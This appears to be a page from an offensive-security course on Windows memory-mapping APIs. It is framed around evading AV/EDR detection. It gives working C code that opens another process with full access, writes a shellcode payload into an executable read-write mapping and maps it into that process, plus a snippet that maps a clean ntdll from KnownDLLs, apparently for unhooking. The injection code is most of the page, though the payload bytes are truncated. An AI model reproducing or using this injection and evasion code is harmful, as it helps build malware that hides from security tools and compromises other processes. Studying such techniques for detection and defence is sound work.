Memory Mapping

Using private memory allocation functions are heavily monitored by AV/EDR. Using mapped memory can help circumvent detection.

Introduction

Memory Mapping functions are a great way of efficiently reading / writing data to files, loading KnownDLL's, and more


CreateFileMapping

CreateFileMapping allows a process to create a virtual memory space that maps to the contents of a file on disk or to another memory location. The function returns a handle to the file mapping object.

HANDLE CreateFileMappingA(
  [in]           HANDLE                hFile,
  [in, optional] LPSECURITY_ATTRIBUTES lpFileMappingAttributes,     // Not Required - NULL
  [in]           DWORD                 flProtect,
  [in]           DWORD                 dwMaximumSizeHigh,           // Not Required - NULL
  [in]           DWORD                 dwMaximumSizeLow,
  [in, optional] LPCSTR                lpName                       // Not Required - NULL   
);

hFile - A handle to a file from which to create a file mapping handle.

flProtect - Specifies the page protection of the file mapping object. (PAGE_EXECUTE_READWRITE)

dwMaximumSizeLow - The size of the file mapping handle returned. (Size of payload)

MapViewOfFile

MapViewOfFile maps a view of a file mapping object into the address space of a process.

LPVOID MapViewOfFile(
  [in] HANDLE     hFileMappingObject,
  [in] DWORD      dwDesiredAccess,
  [in] DWORD      dwFileOffsetHigh,           // Not Required - NULL
  [in] DWORD      dwFileOffsetLow,            // Not Required - NULL
  [in] SIZE_T     dwNumberOfBytesToMap
);
  • hFileMappingObject - The returned handle from the CreateFileMapping WinAPI, which is the file mapping object.

  • dwDesiredAccess - The type of access to a file mapping object, which determines the page protection of the page created. Should correspond w/ the flProtect attributes in CreateFileMapping.

  • dwNumberOfBytesToMap - The size of the payload.

The below code creates a local and remote memory mapping that contains the Payload w/ RWX permissions.

#include <stdio.h>
#include <wchar.h>
#include <windows.h>
#include <memoryapi.h>


#pragma comment(lib, "onecore.lib")

// x64 calc shellcode 
unsigned char Payload[] = {
	0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51
};


int wmain( int argc, wchar_t* argv[]) {

    HANDLE hProcess = NULL;
    HANDLE hLocalFile = NULL;
    PVOID pLocalMapAddress = NULL;
    PVOID pRemoteMapAddress = NULL;
    DWORD PID = 0;

    if (argc < 2) {
        wprintf(L"[!] Insufficient Arguments Passed To Main Function\n");
        return -1;
    }

    PID = _wtoi(argv[1]);


    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    if (hProcess == NULL) {
        wprintf(L"[!] Failed to Open Process %d\n", GetLastError());
        return -1;
    }

    // Create Local Mapped Memory for payload 
    hLocalFile = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sizeof(Payload), NULL);
    if (hLocalFile == NULL) {
        wprintf(L"[!] CreateFileMappingW Failed %d\n", GetLastError());
        return -1;
    }

    
    pLocalMapAddress = MapViewOfFile(hLocalFile, FILE_MAP_WRITE, NULL, NULL, sizeof(Payload));
    if (pLocalMapAddress == NULL) {
        wprintf(L"[!] MapViewOfFile Failed %d\n", GetLastError());
        return -1;
    }

    // Copy Payload to to Local Mapped Memory
    memcpy(pLocalMapAddress, Payload, sizeof(Payload));


    // Copy & Create Remote Memory Mapping
    pRemoteMapAddress = MapViewOfFile2(hLocalFile, hProcess, NULL, NULL, NULL, NULL, PAGE_EXECUTE_READWRITE);
    if (pRemoteMapAddress == NULL) {
        wprintf(L"[!] MapViewOfFile Failed %d\n", GetLastError());
        return -1;
    }   

    wprintf(L"[+] Copied payload to remote memory address: %p\n", pRemoteMapAddress);
    getchar();

    return 0;
}

To Map Memory in Remote Process We can use the following:

MapViewOfFile - Load KnownDLL

We use MapViewOfFile in conjuction with pNtOpenSection to read the DLL into memory.


OBJECT_ATTRIBUTES objAtr        = { 0 };
UNICODE_STRING    unicodeString = { 0 };
PVOID pBuffer = 0;
HANDLE hSection;


unicodeString.Buffer = (PWSTR)NTDLL;
unicodeString.Length = wcslen(NTDLL) * sizeof(WCHAR);
unicodeString.MaximumLength = unicodeString.Length + sizeof(WCHAR);

InitializeObjectAttributes(&objAtr, &unicodeString, OBJ_CASE_INSENSITIVE, NULL, NULL);

fnNtOpenSection pNtOpenSection = (fnNtOpenSection)GetProcAddress(GetModuleHandleW(L"NTDLL"), "NtOpenSection");

NTSTATUS status = pNtOpenSection(&hSection, SECTION_MAP_READ, &objAtr);
if (status != 0x00) {
    printf("[!] NtOpenSection Failed With Error : 0x%0.8X \n", status);
    return -1;
}

pBuffer = MapViewOfFile(hSection, FILE_MAP_READ, NULL, NULL, NULL);
if (MapViewOfFile == NULL) {
    wprintf(L"[!] MapViewOfFile Failed %d\n", GetLastError());
    return -1;
}

MapViewOfFile2

MapViewOfFile2 is used to map memory in a remote process.

PVOID MapViewOfFile2(
  [in]           HANDLE  FileMappingHandle,
  [in]           HANDLE  ProcessHandle,
  [in]           ULONG64 Offset,
  [in, optional] PVOID   BaseAddress,
  [in]           SIZE_T  ViewSize,
  [in]           ULONG   AllocationType,
  [in]           ULONG   PageProtection
);

MapViewOfFile3

MapViewOfFile3 is used to map memory in a remote process.

PVOID MapViewOfFile3(
  [in]                HANDLE                 FileMapping,
  [in]                HANDLE                 Process,
  [in, optional]      PVOID                  BaseAddress,
  [in]                ULONG64                Offset,
  [in]                SIZE_T                 ViewSize,
  [in]                ULONG                  AllocationType,
  [in]                ULONG                  PageProtection,
  [in, out, optional] MEM_EXTENDED_PARAMETER *ExtendedParameters,
  [in]                ULONG                  ParameterCount
);

UnmapViewOfFile

UnmapViewOfFile is used to unmap previously mapped memory. This should be called on cleanup.

UnmapViewOfFileEx

This is an extended version of UnmapViewOfFile that takes an additional flags parameter.

UnmapViewOfFile2

UnmapViewOfFile2 Unmaps a previously mapped view of a file or a pagefile-backed section.

Last updated